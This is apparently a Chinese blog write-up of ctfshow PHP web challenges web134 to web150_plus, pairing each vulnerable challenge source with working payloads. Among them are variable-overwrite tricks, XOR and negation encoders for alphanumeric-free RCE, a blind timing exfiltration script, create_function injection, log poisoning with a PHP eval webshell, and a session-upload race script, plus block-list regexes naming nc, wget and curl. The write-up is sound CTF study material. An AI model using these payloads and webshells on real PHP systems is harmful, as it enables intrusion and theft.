web134

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

关键点在于extract($_POST);,这函数可以传数组,可以进行变量覆盖。注意这里变量名叫_POST,而不是个方法。

extract() 函数用于将数组中的键值对导入到当前的符号表中,键名作为变量名,键值作为变量值。它是处理关联数组的便捷工具。

Payload:

?_POST[key1]=36d&_POST[key2]=36d

web135

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

ban了web133的curl外带,cp可以把flag.php复制去我们可以访问的文件,方式类似于web133

这一开始直接cp flag.php index.php了,直接无了0.o

Payload:

?F=`$F`;+cp flag.php 1.txt

web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

无回显,考虑外带,不能用>就用tee.都没了不要了,遇到识别不出来的文件浏览器会直接下载的,到时候在本地看内容也一样,找到flag叫f149_15_h3r3

Payload:

?c=cat /f149_15_h3r3 | tee 1

web137

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

call_user_func回调函数不仅可以调用函数,也能调用类里面的方法

函数用法参考:https://www.php.net/manual/zh/function.call-user-func.php

Payload:

POST:
ctfshow=ctfshow::getFlag

web138

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

ban了:,比较有意思的是,call_user_func函数可以用数组调用类内部的方法

https://blog.csdn.net/u014532717/article/details/56015077

<?php
class a {   
    function b($c)   
    {   
        echo $c;   
    }   
}   
call_user_func(array("a", "b"),"111");   
//显示 111   
?>

Payload:

POST:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

cp给ban了,tee外带发现访问其他页面会被重定向回index.php

这里wp用了一个没见过的命令来盲打

awk命令:强大的文本分析工具

用awk命令、cut命令截取字符
sleep命令确认是否正确
awk NR==2 获取第二行信息
cut -c 1  截取第1个字符
zsh下if语句的格式:
 if [[condition]] {command
} elif {
} else {
}

参考脚本:

import requests
import time
import string

str = string.ascii_letters + string.digits
result = ""
for i in range(1,5):
    key = 0
    for j in range(1,15):
        if key == 1:
            break
        for n in str:
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
            #print(payload)
            url = "http://2e583e06-3dcc-4447-8d82-a6df35bc0d04.challenge.ctf.show/?c="+payload
            try:
                requests.get(url, timeout=(2.5,2.5))
            except:
                result = result + n
                print(result)
                break
            if n == '9':
                key = 1
    result += " "

web140

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

先把f1f2转为字符串类型,然后进入正则匹配,检查是否只有小写字母和数字,然后进入evalf2的执行返回值作为参数给f1,如果最后的返回值的整数值等于ctfshow就回显flag

这里最后的判断是弱比较,”0″==字符串会返回TRUE,让左边等于0、false、数组即可绕过

intval(‘a’)==0 intval(‘.’)==0 intval(‘/’)==0,单用函数构造个点号?这不是无参RCE的打法嘛

Payload:

POST:
f1=current&f2=localeconv

另解(参考自ctfshow-wp):

intval() 成功时,返回参数的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。 字符串有可能返回 0,取决于字符串最左侧的字符。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

payload1: system(system())---> f1=system&f2=system
string system( string $command[, int &$return_var] ):成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system('FLASE'),空指令,失败返回FLASE。
payload2: usleep(usleep())---> f1=usleep&f2=usleep usleep没有返回值。 所以intval参数为空,失败返回0
payload3: getdate(getdate())---> f1=getdate&f2=getdate
array getdate([ int $timestamp = time()] ):返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)--->失败返回flase,intval为0。

web141

<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

要求v1v2是数字,v3无字母数字,最后还有个return需要绕过,绕过return可以用运算符做到

php中数字和命令可以进行运算,如:1-phpinfo()结合了减号,但是可以正常执行phpinfo

加减乘除均可,加号需要过一遍url编码,否则会被当成空格

关于无字母数字RCE 详见羽师傅文章:https://blog.csdn.net/miuzzx/article/details/109143413

这里用到取反绕过,用的是羽师傅的脚本

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

Payload:

?v1=1&v3=%2B(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5);%2B&v2=1
->1+system('nl *')+1

web142

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

判断v1是数字,然后转成字符串,连乘五个0x36d(877),将结果当成sleep的参数,零乘任何数都得零,显然这里sleep(0)最快能拿到flag

Payload:

?v1=0

web143

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

在web141的基础上ban了一些特殊字符,前面用的运算符(+、-、\)没用了,但还剩下了个*,加之~被ban,取反不可行 ,可以用异或^

羽师傅的脚本:

输出可用字符:

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
        for ($j=0; $j <256 ; $j++) { 

                if($i<16){
                        $hex_i='0'.dechex($i);
                }
                else{
                        $hex_i=dechex($i);
                }
                if($j<16){
                        $hex_j='0'.dechex($j);
                }
                else{
                        $hex_j=dechex($j);
                }
                $preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                                        echo "";
    }
  
                else{
                $a='%'.$hex_i;
                $b='%'.$hex_j;
                $c=(urldecode($a)^urldecode($b));
                if (ord($c)>=32&ord($c)<=126) {
                        $contents=$contents.$c." ".$a." ".$b."\n";
                }
        }

}
}
fwrite($myfile,$contents);
fclose($myfile);

构造命令:

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

Payload:

?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0e%0c%00%00"^"%60%60%20%2a")?>*&v2=1
#由于 ; 被ban了,使用?>代替

web144

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

主要是对v3加了一个判断,判断字符串长度是否为1,无字母数字能过,自然有数字的也能过,把command放到v1或者v2,让v3为运算符即可

Payload:

?v1=1&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)&v3=-

web145

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

相比于上题,v3对特殊符号做了过滤,所以上题打法不通用了,但是位或运算符 |可以用

Payload:

?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5)|&v2=1

另解:

三目运算符的妙用:如:eval("return 1?phpinfo():1;");也是可运行的

?v1=1&v3=?(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5):&v2=1

web146

<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

相较于上题,多ban了个:,但是位或运算符仍然可用,这里尝试新鲜的解法,等号和位运算符

eval("return 1==phpinfo()||1;");

Payload:

?v1=1&v3===(~%8C%86%8C%8B%9A%92)(~%91%93%DF%D5)||&v2=1

web147

<?php
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

参考文章:https://blog.csdn.net/Myon5/article/details/140733933?ops_request_misc=%257B%2522request%255Fid%2522%253A%252202e1cb4114acfd58e02a744c3b8d52fd%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=02e1cb4114acfd58e02a744c3b8d52fd&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-140733933-null-null.nonecase&utm_term=147&spm=1018.2226.3001.4450

类似题:https://paper.seebug.org/755/

这里正则开的模式有点多:

^:匹配字符串的开头。

$:匹配字符串的结尾,确保整个字符串符合规则。

[a-z0-9_]:表示允许小写字母、数字和下划线。

*:匹配零个或多个前面的字符。

/i:忽略大小写。

s:匹配包括换行符在内的所有字符。

D(PCRE 特有):美元符号 $ 仅匹配字符串的实际末尾,不匹配结尾的换行符。

这里需要先进if,才能动show这个参数,找一个不符合正则的字符

在 PHP 中,命名空间(namespace)提供了一种组织代码的方式,可以避免类、函数和常量名称的冲突。默认情况下,PHP 的函数和类都在全局命名空间 \ 中。全局命名空间中的函数和类:在任何命名空间中调用全局函数和类时,需要使用绝对路径(以 \ 开头)。 自定义命名空间中的函数和类:在同一命名空间中调用时,可以直接使用名称;在其他命名空间中调用时,需要使用完整的命名空间路径。

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

可以利用\create_function动态创建匿名函数,虽然该函数自PHP 7.2起已经弃用,但是还是可以eval执行函数进行命令注入,这里要先闭合前面if的{再闭合后面的}

由于我们没有使用这个返回的函数,所以它只是被创建了,但并没有被调用。然而,在创建函数时,函数体的代码会被解析(但不会执行),所以如果函数体中有语法错误,这里会报错。但是,show传入的参数依旧会被执行,就造成了代码注入。

ai的解释:

GET参数:?show=}system('ls');//

这个参数会被作为create_function的第二个参数,即函数体。所以,实际创建的匿名函数的函数体是:

}system('ls');//

为什么这样写?因为create_function的工作原理是:它内部会组合成一个字符串,然后通过eval来执行。组合的方式类似于:

function __lambda_func($args) {  // 这里是我们传入的函数体}

所以,当我们传入的函数体是}system('ls');//时,整个函数就变成了:

function __lambda_func() { 
 }system('ls');//
 }

Payload:

GET:
?show=}system('ls');//
POST:
ctf=\create_function

web148

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

核心依旧是无字母数字RCE

收集到一个好用的爆字典脚本:

<?php
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}
 
//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}
 
//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');
 
    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
 
    fwrite(STDOUT,'[+]your command: ');
 
    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
 
    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
 
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";
 
        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }
 
                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }
 
        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(2,'/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/');
//1代表模式,后面的是过滤规则

生成payload:

# -*- coding: utf-8 -*-
def action(arg):
    s1 = ""
    s2 = ""
    with open("rce.txt", "r") as f:
        lines = f.readlines()
        for i in arg:
            for line in lines:
                if line.startswith(i):
                    s1 += line[2:5]
                    s2 += line[6:9]
                    break
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return output
 
while True:
    function_input = input("\n[+] 请输入你的函数:")
    command_input = input("[+] 请输入你的命令:")
    param = action(function_input) + action(command_input)
    print("\n[*] 构造的Payload:", param)

Payload:

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0e%0c%01%02"^"%60%60%21%28");
->system('nl *');

这里官方预期解是用中文来异或(没学明白)

code=$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "{{{"^"?<>/"; 异或出来的结果是 _GET

web149

<?php
error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

这里提示很明显是条件竞争了,一变发创建带命令的php文件的包,一边去访问创建的文件,很容易就能得到flag在/ctfshow_fl0g_here.txt

当然,他这里权限给的足,可以直接覆写index.php,写个🐎进去直接就能rce

web150

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

extract函数覆盖漏洞不必赘述了,这里直接可以覆盖isVIP=1strrpos函数禁止出现冒号,很明显不让用伪协议,但是可以日志包含写🐎了

Payload:

GET:
?isVIP=1
POST:
ctf=/var/log/nginx/access.log&a=system("tac flag.php");
Header:
User-Agent: <?php @eval($_POST['a']);?>

这里还有个非预期解是session文件包含,此处留下脚本,就没有再深入研究了

# -*- coding: utf-8 -*-
# @Time : 20.12.5 13:52
# @author:lonmar
import io
import requests
import threading

sessid = 'test'
data = {
    "ctf": "/tmp/sess_test",
    "cmd": 'system("cat flag.php");'
}


def write(session):
    while event.isSet():
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post('http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/',
                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
                            files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while event.isSet():
        res = session.post(
            'http://7445f895-6f17-4435-adc0-62055d7f0cb7.chall.ctf.show/?isVIP=1',
            data=data
        )
        if 'flag{' in res.text:
            print(res.text)
            event.clear()
        else:
            print('[*]retrying...')


if __name__ == "__main__":
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1, 5):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 5):
            threading.Thread(target=read, args=(session,)).start()

web150_plus

<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

比上题ban多了个log,也就是不让日志写🐎了。

注意__autoload函数不在类里,这个函数的作用是对类自动加载,extract函数可以造成变量被覆写,也能覆写类,前面有讲到php的特性 [.这类特殊字符传入会被替换成_,这也就为我们在url栏覆写__CTFSHOW__创造了机会

Payload:

?..CTFSHOW..=phpinfo

还看到一个有意思的解法,临时文件包含(未复现):

参考链接:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md

参考链接:https://blog.51cto.com/u_15127538/2703368

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇